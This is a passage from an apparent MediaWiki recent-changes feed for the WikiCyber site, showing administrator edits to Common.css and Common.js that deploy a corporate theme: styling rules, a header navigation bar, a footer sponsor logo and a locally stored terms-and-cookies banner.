.skin-vector-2022 .contribution-section h2{font-size:29px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:12px 22px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:24px}&lt;br /&gt;
.skin-vector-2022 .article-heading h1{font-size:34px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:245px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:40px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}&lt;br /&gt;
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}&lt;br /&gt;
.skin-vector-2022 .art-core{padding:18px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{font-size:22px}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .art-branches{gap:8px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:13px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}&lt;br /&gt;
}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner&amp;gt;div,.skin-vector-2022 .enterprise-feature-inner&amp;gt;div,.skin-vector-2022 .contribution-section&amp;gt;div{min-width:0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background-color:#101f34;background-image:linear-gradient(90deg,rgba(10,22,36,.91) 0%,rgba(10,22,36,.78) 42%,rgba(10,22,36,.42) 100%),url(&#039;/images/branding/theme-v1/hero.jpg&#039;);background-size:cover;background-position:center 48%}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{background:none}&lt;br /&gt;
.skin-vector-2022 .hero-art{background-color:rgba(16,31,52,.72)}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .enterprise-hero{background-position:55% center;background-image:linear-gradient(180deg,rgba(10,22,36,.87),rgba(10,22,36,.67)),url(&#039;/images/branding/theme-v1/hero.jpg&#039;)}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=293</id>
		<title>MediaWiki:Common.js</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.js&amp;diff=293"/>
		<updated>2026-10-16T20:18:03Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;/* Any JavaScript here will be loaded for all users on every page load. */&lt;br /&gt;
&lt;br /&gt;
/* The personal-menu &amp;quot;Sandbox&amp;quot; link (with icon) is now added server-side by the SandboxAccess extension.&lt;br /&gt;
   The previous JavaScript version (Special:MyPage/sandbox via mw.util.addPortletLink) was removed to avoid a duplicate link;&lt;br /&gt;
   restore it from this page&#039;s history if the extension is ever disabled. */&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber theme enhancements. Native MediaWiki editors/permissions stay intact. */&lt;br /&gt;
mw.loader.using(&#039;mediawiki.util&#039;).then(function () {&lt;br /&gt;
  $(function () {&lt;br /&gt;
    if (!document.body.classList.contains(&#039;skin-vector-2022&#039;)) return;&lt;br /&gt;
    var base = mw.util.getUrl(&#039;Main Page&#039;);&lt;br /&gt;
    var terms = mw.util.getUrl(&#039;WikiCyber:Terms of Use&#039;);&lt;br /&gt;
    var logo = document.querySelector(&#039;.mw-logo-container&#039;);&lt;br /&gt;
    if (logo &amp;amp;&amp;amp; !logo.querySelector(&#039;.wc-slogan&#039;)) {&lt;br /&gt;
      var slogan = document.createElement(&#039;span&#039;); slogan.className = &#039;wc-slogan&#039;;&lt;br /&gt;
      slogan.textContent = &#039;Knowledge for a safer digital world&#039;; logo.append(slogan);&lt;br /&gt;
    }&lt;br /&gt;
    function link(label, href) { var a = document.createElement(&#039;a&#039;); a.textContent = label; a.href = href; return a; }&lt;br /&gt;
    var header = document.querySelector(&#039;.vector-header-start&#039;);&lt;br /&gt;
    if (header) {&lt;br /&gt;
      var nav = document.createElement(&#039;nav&#039;); nav.className = &#039;wc-header-nav&#039;; nav.setAttribute(&#039;aria-label&#039;, &#039;Primary&#039;);&lt;br /&gt;
      nav.append(link(&#039;Knowledge base&#039;, base + &#039;#topics&#039;), link(&#039;Resources&#039;, mw.util.getUrl(&#039;Special:AllPages&#039;)), link(&#039;Contribute&#039;, mw.util.getUrl(&#039;Help:Your first article&#039;)));&lt;br /&gt;
      header.after(nav);&lt;br /&gt;
    }&lt;br /&gt;
    var icons = document.querySelector(&#039;#footer-icons&#039;);&lt;br /&gt;
    if (icons) {&lt;br /&gt;
      var li = icons.querySelector(&#039;#footer-shorerogerico&#039;) || document.createElement(&#039;li&#039;);&lt;br /&gt;
      li.replaceChildren();&lt;br /&gt;
      var sre = link(&#039;&#039;, &#039;https://kirillshore.com&#039;); sre.className = &#039;wc-sre-logo&#039;;&lt;br /&gt;
      var image = document.createElement(&#039;img&#039;); image.src = &#039;/images/branding/theme-v1/shore-roger-logo.svg&#039;; image.alt = &#039;Shore-Roger Enterprises&#039;; image.width = 124; image.height = 48;&lt;br /&gt;
      sre.append(image); li.append(sre); icons.append(li);&lt;br /&gt;
      var cc = icons.querySelector(&#039;#footer-copyrightico img&#039;);&lt;br /&gt;
      if (cc &amp;amp;&amp;amp; !cc.getAttribute(&#039;src&#039;)) cc.src = &#039;/resources/assets/licenses/cc-by-sa.png&#039;;&lt;br /&gt;
    }&lt;br /&gt;
    // This acknowledgement is browser-local; it does not gate access or create a legal audit record.&lt;br /&gt;
    var key = &#039;wikicyber-terms-revision-253&#039;, bar = document.createElement(&#039;section&#039;);&lt;br /&gt;
    bar.className = &#039;wc-terms-bar&#039;; bar.setAttribute(&#039;aria-labelledby&#039;, &#039;wc-terms-heading&#039;);&lt;br /&gt;
    var copy = document.createElement(&#039;div&#039;), heading = document.createElement(&#039;h2&#039;), description = document.createElement(&#039;p&#039;);&lt;br /&gt;
    heading.id = &#039;wc-terms-heading&#039;; heading.textContent = &#039;Terms of Use &amp;amp; cookies&#039;;&lt;br /&gt;
    description.append(&#039;By selecting “Accept and continue,” you agree to the &#039;, link(&#039;Terms of Use&#039;, terms), &#039;. Essential cookies only.&#039;);&lt;br /&gt;
    copy.append(heading, description);&lt;br /&gt;
    var actions = document.createElement(&#039;div&#039;); actions.className = &#039;wc-terms-actions&#039;;&lt;br /&gt;
    var accept = document.createElement(&#039;button&#039;); accept.type = &#039;button&#039;; accept.textContent = &#039;Accept and continue&#039;;&lt;br /&gt;
    actions.append(link(&#039;Read the terms&#039;, terms), accept); bar.append(copy, actions); document.body.append(bar);&lt;br /&gt;
    var reset = document.createElement(&#039;button&#039;); reset.type = &#039;button&#039;; reset.className = &#039;wc-terms-reset&#039;; reset.textContent = &#039;Terms &amp;amp; cookies&#039;;&lt;br /&gt;
    var footer = document.querySelector(&#039;#footer&#039;); if (footer) footer.append(reset);&lt;br /&gt;
    var originalPadding = document.body.style.paddingBottom;&lt;br /&gt;
    function spacing() { document.body.style.paddingBottom = bar.hidden ? originalPadding : bar.offsetHeight + 16 + &#039;px&#039;; }&lt;br /&gt;
    function display(show) { bar.hidden = !show; spacing(); }&lt;br /&gt;
    var accepted = false; try { accepted = localStorage.getItem(key) === &#039;accepted&#039;; } catch (e) { /* Storage optional. */ }&lt;br /&gt;
    display(!accepted);&lt;br /&gt;
    new ResizeObserver(spacing).observe(bar);&lt;br /&gt;
    accept.addEventListener(&#039;click&#039;, function () { try { localStorage.setItem(key, &#039;accepted&#039;); } catch (e) { /* Dismiss for this page. */ } display(false); reset.focus({ preventScroll: true }); });&lt;br /&gt;
    reset.addEventListener(&#039;click&#039;, function () { try { localStorage.removeItem(key); } catch (e) { /* Storage optional. */ } display(true); accept.focus({ preventScroll: true }); });&lt;br /&gt;
  });&lt;br /&gt;
});&lt;br /&gt;
&lt;br /&gt;
/* END WikiCyber corporate v1 */&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=292</id>
		<title>MediaWiki:Common.css</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=MediaWiki:Common.css&amp;diff=292"/>
		<updated>2026-10-16T20:16:34Z</updated>

		<summary type="html">&lt;p&gt;AdminUser: Deploy approved WikiCyber corporate theme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
/* BEGIN WikiCyber corporate v1 */&lt;br /&gt;
/* WikiCyber corporate theme. Retains native Vector controls and editor behavior. */&lt;br /&gt;
body.skin-vector-2022{--wc-blue:#2855b2;--wc-line:var(--border-color-subtle,#dce3eb);--bg:var(--background-color-base,#fff);--surface:var(--background-color-base,#fff);--text:var(--color-base,#182638);--muted:var(--color-subtle,#546477);--line:var(--border-color-subtle,#dce3eb);--blue:#2855b2;--green:#24783a;--tint:#edf3fd;--code:#142335;font-family:Arial,Helvetica,sans-serif}&lt;br /&gt;
html.skin-theme-clientpref-night body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}&lt;br /&gt;
@media(prefers-color-scheme:dark){html.skin-theme-clientpref-os body.skin-vector-2022{--blue:#91b5ff;--tint:#213650}}&lt;br /&gt;
.skin-vector-2022 .mw-logo-container{filter:none!important}.skin-vector-2022 .mw-logo-wordmark{font-family:Arial,Helvetica,sans-serif;font-size:28px;font-weight:750;background:linear-gradient(45deg,#2855b2 25%,#41b343 75%);background-clip:text;-webkit-background-clip:text;color:transparent;line-height:1.2}.skin-vector-2022 .wc-slogan{display:block;color:var(--muted);font-size:10px;margin-top:5px;white-space:nowrap}.skin-vector-2022 .vector-header{max-width:1440px;min-height:88px}.skin-vector-2022 .mw-logo{margin-right:20px}.skin-vector-2022 .wc-header-nav{display:flex;gap:24px;align-items:center;font-size:13px;margin-right:auto}.skin-vector-2022 .wc-header-nav a{color:var(--text)}&lt;br /&gt;
.skin-vector-2022 .mw-body h1,.skin-vector-2022 .mw-body h2,.skin-vector-2022 .mw-body h3{font-family:Arial,Helvetica,sans-serif;letter-spacing:-.025em}.skin-vector-2022 .mw-body h1{font-weight:500}.skin-vector-2022 .vector-body{line-height:1.8}.skin-vector-2022 .wc-home-button{display:inline-block;border-radius:4px;background:#2855b2;color:#fff!important;padding:12px 22px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .button.primary{background:#fff;color:#17385f}.skin-vector-2022 .wc-corporate .button{display:inline-flex;align-items:center;gap:24px;padding:13px 23px;border-radius:4px;font-size:14px;font-weight:bold}.skin-vector-2022 .wc-corporate .text-link{font-size:14px;font-weight:500}.skin-vector-2022 .wc-corporate .hero-actions{display:flex;align-items:center;flex-wrap:wrap}.skin-vector-2022 .wc-corporate a{color:var(--blue)}.skin-vector-2022 .wc-corporate a:focus-visible{outline:3px solid var(--blue);outline-offset:4px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .mw-page-container-inner{display:block;max-width:none}body.skin-vector-2022.page-Main_Page .mw-page-container{padding:0}body.skin-vector-2022.page-Main_Page .mw-content-container{margin:0;max-width:none}body.skin-vector-2022.page-Main_Page .mw-body{padding:0;border:0}body.skin-vector-2022.page-Main_Page .mw-body-header{padding:12px 30px;margin:0}body.skin-vector-2022.page-Main_Page .vector-column-start,body.skin-vector-2022.page-Main_Page .vector-column-end{display:none}body.skin-vector-2022.page-Main_Page .vector-page-toolbar{margin:0;padding:0 30px}body.skin-vector-2022.page-Main_Page #bodyContent{padding:0}body.skin-vector-2022.page-Main_Page #contentSub,body.skin-vector-2022.page-Main_Page #contentSub2{margin:0}body.skin-vector-2022.page-Main_Page .mw-body-header h1{font-size:18px}body.skin-vector-2022.page-Main_Page .mw-footer-container{padding:0 30px}&lt;br /&gt;
.skin-vector-2022 .wc-corporate h1,.skin-vector-2022 .wc-corporate h2,.skin-vector-2022 .wc-corporate h3{font-family:Arial,Helvetica,sans-serif;border:0;padding:0;line-height:1.2}.skin-vector-2022 .wc-corporate .mw-heading{margin:0;border:0}.skin-vector-2022 .wc-corporate .mw-editsection{display:none}.skin-vector-2022 .wc-corporate .topic-grid{display:grid}.skin-vector-2022 .wc-corporate .section-heading{display:flex;justify-content:space-between}.skin-vector-2022 .wc-corporate .topic-card{display:flex;flex-direction:column;border:1px solid var(--line);background:var(--surface);color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card&amp;gt;a{margin-top:auto;font-size:13px}.skin-vector-2022 .wc-corporate .topic-card h3 a{color:var(--text)}.skin-vector-2022 .wc-corporate .topic-card p{color:var(--muted)}.skin-vector-2022 .wc-corporate .blue{color:var(--blue)}.skin-vector-2022 .wc-corporate .green{color:var(--green)}.skin-vector-2022 .wc-corporate .hero-actions p,.skin-vector-2022 .wc-corporate .knowledge-strip-inner&amp;gt;div p{display:contents}.skin-vector-2022 .wc-corporate .terminal{background:var(--code);color:#e4eef7;overflow:hidden}.skin-vector-2022 .wc-corporate .terminal&amp;gt;div{border-bottom:1px solid #ffffff26;color:#b2c1cf}.skin-vector-2022 .wc-corporate .terminal pre{border:0;margin:0;color:inherit;background:transparent;overflow-x:auto}.skin-vector-2022 .wc-corporate .hero-intro{max-width:510px}.skin-vector-2022 .wc-corporate .hero-actions a{color:#fff}.skin-vector-2022 .wc-corporate .hero-actions .primary{color:#17385f}.skin-vector-2022 .wc-corporate .hero-art{color:#fff}.skin-vector-2022 .wc-diagram-brand{display:block;width:34px;height:34px;background:url(&#039;/images/branding/theme-v1/wikicyber-mark-135.svg&#039;) center/contain no-repeat}.skin-vector-2022 .wc-diagram-icon{display:block;width:24px;height:24px;margin:0 auto 10px;background:center/contain no-repeat}.skin-vector-2022 .wc-diagram-systems{background-image:url(&#039;/images/branding/theme-v1/icon-systems.svg?v=2&#039;)}.skin-vector-2022 .wc-diagram-network{background-image:url(&#039;/images/branding/theme-v1/icon-network.svg?v=2&#039;)}.skin-vector-2022 .wc-diagram-forensics{background-image:url(&#039;/images/branding/theme-v1/icon-forensics.svg?v=2&#039;)}&lt;br /&gt;
.skin-vector-2022 #footer-icons{display:flex;align-items:center;gap:14px;flex-wrap:wrap}.skin-vector-2022 #footer-icons img{object-fit:contain}.skin-vector-2022 .wc-sre-logo{display:inline-flex;background:#fff;border-radius:4px;padding:0 5px}.skin-vector-2022 .wc-terms-bar{position:fixed;inset:auto 0 0;z-index:110;display:flex;align-items:center;justify-content:space-between;gap:24px;background:var(--surface);color:var(--text);border-top:1px solid var(--line);box-shadow:0 -4px 24px #1020300b;padding:20px max(28px,calc((100vw - 1320px)/2));font-family:Arial,Helvetica,sans-serif}.skin-vector-2022 .wc-terms-bar h2{font-size:16px;font-weight:bold;margin:0 0 5px;padding:0;border:0}.skin-vector-2022 .wc-terms-bar p{color:var(--muted);font-size:12px;line-height:1.7;margin:0}.skin-vector-2022 .wc-terms-bar a{color:var(--blue);text-decoration:underline}.skin-vector-2022 .wc-terms-actions{display:flex;align-items:center;gap:24px;flex-shrink:0}.skin-vector-2022 .wc-terms-actions button{border:0;background:#2855b2;color:#fff;border-radius:4px;padding:12px 18px;font:700 13px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-actions a{font-size:12px}.skin-vector-2022 .wc-terms-reset{background:transparent;border:0;color:var(--blue);text-decoration:underline;font:12px Arial,Helvetica,sans-serif;cursor:pointer}.skin-vector-2022 .wc-terms-bar[hidden]{display:none}&lt;br /&gt;
@media(max-width:1100px){.skin-vector-2022 .wc-header-nav{display:none}}&lt;br /&gt;
@media(max-width:700px){.skin-vector-2022 .wc-terms-bar{padding:16px 20px;flex-direction:column;align-items:stretch;gap:13px}.skin-vector-2022 .wc-terms-actions{justify-content:space-between}.skin-vector-2022 .wc-slogan{font-size:9px}.skin-vector-2022 .mw-logo-wordmark{font-size:24px}}&lt;br /&gt;
@media print{.skin-vector-2022 .wc-terms-bar,.skin-vector-2022 .wc-terms-reset,.skin-vector-2022 .wc-header-nav{display:none!important}.skin-vector-2022{padding-bottom:0!important}}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .enterprise-hero h1{color:#fff}&lt;br /&gt;
.skin-vector-2022 .wc-corporate .hero-art p{margin:0}&lt;br /&gt;
&lt;br /&gt;
.skin-vector-2022 .enterprise-hero{background:#101f34;color:#fff;position:relative;overflow:hidden}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero:after{content:&#039;&#039;;position:absolute;inset:0;pointer-events:none;background:radial-gradient(ellipse at 90% 80%,#237c5333,transparent 55%)}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{max-width:1320px;margin:auto;display:grid;grid-template-columns:1.08fr 1fr;gap:60px;align-items:center;min-height:560px;padding:70px 20px;position:relative;z-index:1}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:clamp(45px,4.6vw,68px);font-weight:500;letter-spacing:-2.6px;line-height:1.07;margin:0 0 28px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1 span{color:#a0d8b0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:18px;line-height:1.7;color:#c6d3e2;max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:26px;margin:34px 0 0}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary{background:#fff;color:#17385f}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .text-link{color:#fff;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .primary:hover{background:#edf3fd}&lt;br /&gt;
.skin-vector-2022 .hero-art{position:relative;min-height:350px;display:grid;align-content:center;padding:35px;background-image:linear-gradient(#90b4d40c 1px,transparent 1px),linear-gradient(90deg,#90b4d40c 1px,transparent 1px);background-size:35px 35px;border:1px solid #abc9ef20;border-radius:14px}&lt;br /&gt;
.skin-vector-2022 .art-heading{display:flex;align-items:center;gap:12px;font-size:12px;letter-spacing:1px;color:#b8cbdf;text-transform:uppercase;padding-bottom:23px}&lt;br /&gt;
.skin-vector-2022 .art-heading img{width:34px;height:34px}&lt;br /&gt;
.skin-vector-2022 .art-core{border:1px solid #6b91c466;border-radius:7px;padding:23px;background:#172d48;box-shadow:0 12px 35px #0002}&lt;br /&gt;
.skin-vector-2022 .art-core .art-label{color:#9dbce4;font-size:10px;letter-spacing:1.2px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{display:block;font-size:24px;font-weight:400;margin-top:5px}&lt;br /&gt;
.skin-vector-2022 .art-connector{width:1px;height:29px;background:#79a0ce;margin:auto}&lt;br /&gt;
.skin-vector-2022 .art-branches{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;position:relative}&lt;br /&gt;
.skin-vector-2022 .art-branches:before{content:&#039;&#039;;position:absolute;height:1px;background:#79a0ce;top:0;left:16.6%;right:16.6%}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div{position:relative;padding-top:22px;text-align:center}&lt;br /&gt;
.skin-vector-2022 .art-branches&amp;gt;div:before{content:&#039;&#039;;width:1px;height:22px;background:#79a0ce;position:absolute;top:0;left:50%}&lt;br /&gt;
.skin-vector-2022 .art-node{border:1px solid #6b91c466;border-radius:5px;background:#14283e;padding:17px 8px;color:#fff;font-size:12px}&lt;br /&gt;
.skin-vector-2022 .art-node svg{display:block;width:24px;height:24px;margin:0 auto 10px;color:#92c8b0}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:10px;letter-spacing:.4px;color:#9bb3ce;margin:21px 0 0}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip{background:var(--surface);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{max-width:1320px;margin:auto;display:flex;justify-content:space-between;align-items:center;padding:25px 20px;gap:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:14px;font-weight:500}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{display:flex;gap:35px;flex-wrap:wrap}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip a{font-size:13px;color:var(--muted)}&lt;br /&gt;
.skin-vector-2022 .home-section{max-width:1320px;margin:auto;padding:72px 20px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{align-items:center;margin-bottom:32px;gap:50px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:38px;font-weight:400;letter-spacing:-1.2px;line-height:1.2;margin:0;max-width:600px}&lt;br /&gt;
.skin-vector-2022 .section-description{font-size:15px;line-height:1.8;color:var(--muted);max-width:360px;margin:0}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(4,minmax(0,1fr));gap:18px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{border-radius:5px;padding:28px 25px;min-height:315px;transition:border-color .15s,box-shadow .15s;position:relative}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card:hover{transform:none;box-shadow:0 8px 24px #152d4a0a}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-icon{background:none;width:33px;height:33px;border-radius:0;margin-bottom:30px;font-size:28px;display:block}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card h3{font-size:21px;font-weight:500;letter-spacing:-.5px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card p{font-size:14px;line-height:1.7}&lt;br /&gt;
.skin-vector-2022 .home-section .card-link{font-size:13px;font-weight:500;padding-top:18px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature{background:var(--tint);border-top:1px solid var(--line);border-bottom:1px solid var(--line)}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{max-width:1320px;margin:auto;padding:64px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px;align-items:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:39px;font-weight:400;letter-spacing:-1.2px;margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature p{font-size:16px;line-height:1.8;color:var(--muted);max-width:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .text-link{display:inline-block;margin-top:12px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{border-radius:7px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:14px;padding:28px;line-height:2.1}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div{padding:15px 20px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal&amp;gt;div span{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{max-width:1320px;margin:auto;padding:65px 20px;display:grid;grid-template-columns:1fr 1fr;gap:90px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:34px;font-weight:400;letter-spacing:-1px;max-width:450px;margin:0}&lt;br /&gt;
.skin-vector-2022 .contribution-section p{font-size:15px;line-height:1.8;color:var(--muted);margin-bottom:20px}&lt;br /&gt;
.skin-vector-2022 .home-section #search-status:empty{display:none}&lt;br /&gt;
.skin-vector-2022 .corporate-rule{height:4px;background:linear-gradient(90deg,#2855b2 25%,#41b343 90%)}&lt;br /&gt;
@media(max-width:1150px){.skin-vector-2022 .header{padding:0 25px;gap:22px}&lt;br /&gt;
.skin-vector-2022 .corporate-nav{gap:17px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:220px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .brand small{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .search{max-width:240px}&lt;br /&gt;
.skin-vector-2022 .layout{grid-template-columns:160px minmax(0,1fr);gap:24px;padding:0 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{gap:35px;padding:60px 30px;min-height:510px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:53px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:22px}&lt;br /&gt;
.skin-vector-2022 .home-section,.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding-left:30px;padding-right:30px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-grid{grid-template-columns:repeat(2,minmax(0,1fr))}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:270px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 30px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{gap:45px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:25px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:850px){.skin-vector-2022 .corporate-nav{display:none}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner{grid-template-columns:1fr;gap:42px;padding:52px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:54px;max-width:650px}&lt;br /&gt;
.skin-vector-2022 .hero-art{max-width:590px;width:100%;min-height:300px;justify-self:center}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{max-width:620px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{align-items:start;flex-direction:column;gap:15px}&lt;br /&gt;
.skin-vector-2022 .home-section .section-heading{flex-direction:column;align-items:start;gap:20px}&lt;br /&gt;
.skin-vector-2022 .section-description{max-width:580px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner{grid-template-columns:1fr;gap:28px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal{max-width:650px}&lt;br /&gt;
.skin-vector-2022 .contribution-section{grid-template-columns:1fr;gap:22px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{max-width:none}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .appearance{gap:23px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:760px){.skin-vector-2022 .header{padding:17px 20px;height:auto;gap:14px}&lt;br /&gt;
.skin-vector-2022 .brand{min-width:0}&lt;br /&gt;
.skin-vector-2022 .search{max-width:none;background:var(--bg);margin-left:0}&lt;br /&gt;
.skin-vector-2022 .layout{display:block;padding:0 20px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .sidebar.open{display:block;padding:20px 25px}&lt;br /&gt;
body.skin-vector-2022.page-Main_Page .page-toolbar{padding:0 20px;height:55px;overflow-x:auto}&lt;br /&gt;
.skin-vector-2022 .page-toolbar&amp;gt;div{gap:20px;white-space:nowrap}&lt;br /&gt;
.skin-vector-2022 .page-toolbar a{font-size:11px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:46px;letter-spacing:-1.8px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-intro{font-size:17px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{gap:22px}&lt;br /&gt;
.skin-vector-2022 .home-section{padding:50px 25px}&lt;br /&gt;
.skin-vector-2022 .home-section h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature-inner,.skin-vector-2022 .contribution-section{padding:45px 25px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature h2{font-size:32px}&lt;br /&gt;
.skin-vector-2022 .contribution-section h2{font-size:29px}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{padding:25px;min-height:290px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner{padding:22px 25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip-inner&amp;gt;div{gap:12px 22px}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:24px}&lt;br /&gt;
.skin-vector-2022 .article-heading h1{font-size:34px}&lt;br /&gt;
}&lt;br /&gt;
@media(max-width:480px){.skin-vector-2022 .home-section .topic-grid{grid-template-columns:1fr}&lt;br /&gt;
.skin-vector-2022 .home-section .topic-card{min-height:245px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero h1{font-size:40px}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero .hero-actions{align-items:start;flex-direction:column}&lt;br /&gt;
.skin-vector-2022 .hero-art{padding:20px 15px;min-height:300px}&lt;br /&gt;
.skin-vector-2022 .art-node{padding:15px 3px;font-size:10px}&lt;br /&gt;
.skin-vector-2022 .art-core{padding:18px}&lt;br /&gt;
.skin-vector-2022 .art-core strong{font-size:22px}&lt;br /&gt;
.skin-vector-2022 .art-footer{font-size:9px}&lt;br /&gt;
.skin-vector-2022 .art-branches{gap:8px}&lt;br /&gt;
.skin-vector-2022 .brand&amp;gt;span{font-size:25px}&lt;br /&gt;
.skin-vector-2022 .knowledge-strip strong{font-size:13px}&lt;br /&gt;
.skin-vector-2022 .enterprise-feature .terminal pre{font-size:12px;padding:22px}&lt;br /&gt;
}&lt;br /&gt;
.skin-vector-2022 .enterprise-hero-inner&amp;gt;div,.skin-vector-2022 .enterprise-feature-inner&amp;gt;div,.skin-vector-2022 .contribution-section&amp;gt;div{min-width:0}&lt;br /&gt;
